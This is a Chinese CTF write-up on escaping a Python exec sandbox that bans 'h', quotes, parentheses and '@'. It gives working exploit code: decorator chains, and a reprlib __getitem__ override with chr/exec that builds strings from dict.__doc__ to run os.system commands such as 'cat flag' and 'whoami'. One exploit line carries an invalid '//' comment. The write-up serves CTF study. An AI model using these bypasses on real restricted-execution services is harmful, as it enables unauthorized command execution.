0x00 起因
在NCTF/NJUPTCTF 2021中有一道misc题:
我们可爱的Hex酱又有了一个强大的功能，可以去执行多行语句惹~
但是为了防止有些居心叵测的人，我们专门把括号，单双引号，都过滤掉，噢对不准色色，所以也不准出现h哟~
Ubuntu Python3.6.9
快去找Hex酱(QQ:2821876761)私聊吧
附件：
https://nctf.slight-wind.com/misc/hex/runner.py
https://attachment.h4ck.fun:9000/misc/hex/runner.py
其中附件内容如下:
import sys
from base64 import b64decode
code = sys.argv[1]
try:
data = b64decode(code.encode()).decode()
except:
exit(0)
for c in 'h"\'(':
if c in data: exit(0)
exec(data)
这其实就是一个受限制的python代码执行，不能使用h，单引号，双引号，左括号字符。我们知道在SSTI中我们如果禁用了小括号的话是没办法任意命令执行的，但是在任意python代码执行的情况下还有转机吗？
0x01 正解: 装饰器
正解不是本篇文章主要讨论的内容，这里也介绍一下，其实就是python装饰器的技巧，一个简单的python装饰器如下:
def log(func):
def wrapper(*args, **kw):
print("here is a log")
func()
return wrapper
@log
def func():
print("hello world")
func()
这里的@log实际上是一个语法糖，他等价于func=log(func)，也就是说这里隐式包含了函数调用，同时装饰器是可以嵌套的，并且能够用于装饰类。
但是这里我们依然用到了小括号，我们怎样才能避免这个情况呢？实际上是用到了python的(残废)匿名函数，一个简单的python匿名函数如下:
func = lambda _: "system" # 意思是无论传入什么参数最终都会返回system这个字符串
print(func("anything")) # system
所以我们可以使用嵌套的装饰器去调用os.system(), 例如:
from os import system
c = lambda _: "whoami"
@system
@c
class x:pass
实际上调用的是system(c(x))，而c函数不管传入什么都会返回"whoami"这个字符串，最终实现命令执行
这里还有最后一个问题是如何构造字符串，因为我们是没办法使用单引号或者双引号的，所以我们需要利用一些python原生的字符串，比如某些类的__doc__,比如字典(dict)的doc如下:
dict() -> new empty dictionary
dict(mapping) -> new dictionary initialized from a mapping object's
(key, value) pairs
dict(iterable) -> new dictionary initialized as if via:
d = {}
for k, v in iterable:
d[k] = v
dict(**kwargs) -> new dictionary initialized with the name=value pairs
in the keyword argument list. For example: dict(one=1, two=2)
这里面基本上存在我们需要的英文字符，可以使用{}.__doc__[index]的形式获取字符串，所以最终的exp可以是:
from os import system
n = {}.__doc__
f = lambda _: n[2]+n[80]+n[55]+n[6]+n[75]+n[69]+n[80]+n[88] # cat flag
@system
@f
class x:pass
0x02 寻找非预期
如果我们不使用装饰器的方法，这道题目还有做法吗？换句话说假如我们不允许代码中存在@这个字符，这道题还能够解吗？答案是肯定的。
所以我们的题目变成:
import sys
from base64 import b64decode
code = sys.argv[1]
try:
data = b64decode(code.encode()).decode()
except:
exit(0)
for c in 'h@"\'(':
if c in data: exit(0)
exec(data)
这里我们重新思考一下，我们在没有小括号使用的情况下，还有什么能够使用呢？答案是中括号，我们知道，如果我们尝试使用中括号根据索引去获取对象时，实际上是调用了类中的__getitem__方法，一个简单的示例如下:
class C:
def __getitem__(self, key):
return str(key) + "111"
c = C()
print(c["qwe"]) # qwe-111
可以看到这里的__getitem__魔术方法是一个特殊的方法，当我们调用c["anything"]的是时候实际上调用了c.__getitem__("qwe")，这样我们即使没有小括号也能够进行函数调用。如果我们可以覆盖某些类的__getitem__方法为一些自带方法的话，我们就可以实现命令执行了。
失败的尝试: 覆盖自带类的__getitem__
我的第一个想法是覆盖python自带类的__getitem__方法，例如list或者dict，但是经过测试之后发现这是行不通的:
所以我们的目的就是要找到一个类能够覆盖其__getitem__并且能获取到这个类的实例，这里的重点是获取到类的实例，因为我们就算可以定义一个自定义的类，也无法获取这个类的实例，因为获取类的实例也需要小括号
成功的尝试: python标准库里的魔术
我们尝试从python标准库中找到一个符合我们标准的库，python的标准库参考这里
在一番寻找后，我们将目光投向reprlib这个库，它完美符合了我们的要求!
一个简单的示例如下:
import reprlib
reprlib.Repr.__getitem__=exec
a=reprlib.aRepr
a["print('whoami')"]
所以我们最终的exp构造大致如下:
1. 从标准库中引入reprlib这个库
2. 覆盖reprlib.Repr的__getitem__方法为chr方法
3. 通过reprlib.aRepr中括号调用构造任意字符串
4. 再次覆盖为exec方法
5. 真正意义上的python代码执行
这里需要注意的是由于h也被禁用了，所以我们没有办法直接reprlib.Repr.__getitem__=chr，需要走一下弯路，利用builtins库的__dict__再利用字典的__doc__，我们最终得到一个非常酷的exp如下:
data = """
import reprlib
import builtins
__=reprlib.aRepr
reprlib.Repr.__getitem__ = builtins.__dict__[{}.__doc__[2]+{}.__doc__[280]+{}.__doc__[28]] # chr
exp=__[95]+__[95]+__[105]+__[109]+__[112]+__[111]+__[114]+__[116]+__[95]+__[95]+__[40]+__[39]+__[111]+__[115]+__[39]+__[41]+__[46]+__[115]+__[121]+__[115]+__[116]+__[101]+__[109]+__[40]+__[39]+__[119]+__[104]+__[111]+__[97]+__[109]+__[105]+__[39]+__[41] // __import__('os').system('whoami')
reprlib.Repr.__getitem__ = exec
reprlib.aRepr[exp]
"""
for c in 'h@"\'(':
if c in data:
print(c)
exit(0)
exec(data)
FROM:tttang . com
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